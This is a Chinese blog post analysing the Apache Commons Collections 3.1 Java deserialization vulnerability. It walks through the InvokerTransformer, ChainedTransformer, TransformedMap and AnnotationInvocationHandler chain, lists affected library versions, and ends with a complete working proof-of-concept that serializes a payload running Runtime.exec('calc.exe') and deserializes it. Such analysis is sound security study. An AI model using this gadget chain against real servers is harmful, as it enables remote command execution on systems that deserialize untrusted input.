反序列化漏洞_ApacheCommonsCollections反序列化漏洞分析

4a6f4eabb02d756a6d86eefc8d7fc66d.png 点击蓝字关注我们吧!

环境搭建

本文由“壹伴编辑器”提供技术

JDK版本为为1.6,

引入commons-collections-3.1.jar包,具体引入方法为:

File -> Project Settings -> Modules -> Dependencies

点击加号选择导入JARs包,再选择包的地址,点击apply成功引入。

6d5a43cb698a4518a4dfa58f91ea850a.png

d72e11c0c23d4b29f19c3e258f05cfb0.gif

Poc():

本文由“壹伴编辑器”提供技术

bfa9c519b08ab1b7fbad64a5db78a792.png

d72e11c0c23d4b29f19c3e258f05cfb0.gif

分析:

本文由“壹伴编辑器”提供技术

前面提到过要实现序列化与反序列化目标对象要实现Serializable接口。

Apache Commons Collections中有一个特殊的接口,

其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。

InvokerTransformer部分源码,可以看到其实现了Transformer和Serializable接口。

d08ee1d6ef730bbe50ef1c44827f70c5.png

7214d7317de3c773705ad0f90a40572a.png

本文由“壹伴编辑器”提供技术

InvokerTranformer类中的transform方法,该方法使用反射进行函数调用

input参数是要反射的对象,iMethodName、iParamTypes分别是调用的方法名称和参数类型,iArgs是要调用的方法的参数。这三个参数都是可控的。

67cfe84b5f3e555c48b3c30dbc739dfb.png

本文由“壹伴编辑器”提供技术

ConstantTransformer类的transform()方法是返回iConstant属性,并且该属性也是可控的。

ChainedTransformer类很关键,这是它的构造函数:

c901d658f118109cb8981dd93605e236.png

从其构造函数可以看出它是传入一个Transform数组,在看一下它的transform()方法。

b0ee5b2a0fe85c44044e6aa5f1dfad00.png

本文由“壹伴编辑器”提供技术

这里使用循环来调用Transformer数组的transform()方法,

并且使用object作为后一个调用transform()方法的参数,这里我们结合前面的poc代码看:

9ceebe04b3ac383731b9289fdea9ef61.png

本文由“壹伴编辑器”提供技术

这里代码有些绕,要结合前面对各个类的分析,

大概意思是创建一个transformers数组:

第一个参数是ConstantTransformer对象, 后面参数都是InvokerTransformer对象

(备注:InvokerTransformer类和ConstantTransformer类前面都有提到)

最后创建ChainedTransformer对象并将transformers数组传入。

Debug截图:

f5ff0e9626b924457d5a0f56fc9438e4.png

本文由“壹伴编辑器”提供技术

c9dc983ecdc7ae04fe0463e69ca5756f.png

dcea5311be30c92c713b3c60923b5b76.png

本文由“壹伴编辑器”提供技术

这个checkSetValue()会触发transform方法。然后我们思路清晰起来了,

首先,

构造一个Map和一个代码执行的ChainedTransforme

生成一个TransformedMap。

Poc中的代码如下:

da84541f7caa6695b15ae1e252c24ed7.png

本文由“壹伴编辑器”提供技术

Outmap就是已经构造好的TransformedMap,

下一步需要能让服务器反序列化对象时,触发outmap的checkSetValue()方法。

这时就要用到AnnotationInvocationHandler类,

这个类中有一个变量memberValues是Map类型,如下图所示:

e52884b0e9f88fa16c4f5f0937a1d7de.png

本文由“壹伴编辑器”提供技术

AnnotationInvocationHandler的readObject()方法中,对memberValues的每一项都调用了setValue()函数,

代码如下:

a394d421859013bf93de8af54ca545df.png

本文由“壹伴编辑器”提供技术

这里的setValue()函数就会触发checkValue()函数,代码如图:

5b00ab0a87ba35663f62b78f1319271e.png

本文由“壹伴编辑器”提供技术

所以我们要使用outmap来构造AnnotationInvocationHandler,进行序列化,

后面触发readerObject()反序列化时就能实现命令执行:

b47f4c3b3d7bd9af77fbb896e21564fa.png

本文由“壹伴编辑器”提供技术

下面分别是序列化与反序列化的简单本地模拟代码:

772e247fa206d6e8a1faebfc9b40963f.png

本文由“壹伴编辑器”提供技术

一般情况是服务器有一个反序列化接口,我们将自己构造的恶意代码序列化后通过接口远程调用,或者传输到服务器上,服务器进行反序列化调用readObject()函数;

然后成功命令执行。

01b5f2f01b93bb635e30959a3a3529d9.png

本文由“壹伴编辑器”提供技术支

服务器端反序列化执行大概步骤:

d21e475bb9fc78b4f2bb73a3e8217db2.png

漏洞影响:

1.Spring Framework <= 3.0.5,<= 2.0.6;

2.Groovy < 2.4.4;

3.Apache Commons Collections <= 3.2.1,<= 4.0.0;

附POC代码:

package com.company;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;class test1 {    public static Object Reverse_Payload() throws Exception {        Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc.exe" }) };        Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();        innermap.put("value", "value");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败        ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;    }    public static void main(String[] args) throws Exception {        GeneratePayload(Reverse_Payload(),"obj");        payloadTest("obj");    }    public static void GeneratePayload(Object instance, String file)            throws Exception {//将构造好的payload序列化后写入文件中        File f = new File(file);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));        out.writeObject(instance);        out.flush();        out.close();    }    public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();    }}

end

a0cd84913fceed004bd22c919aab59b3.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值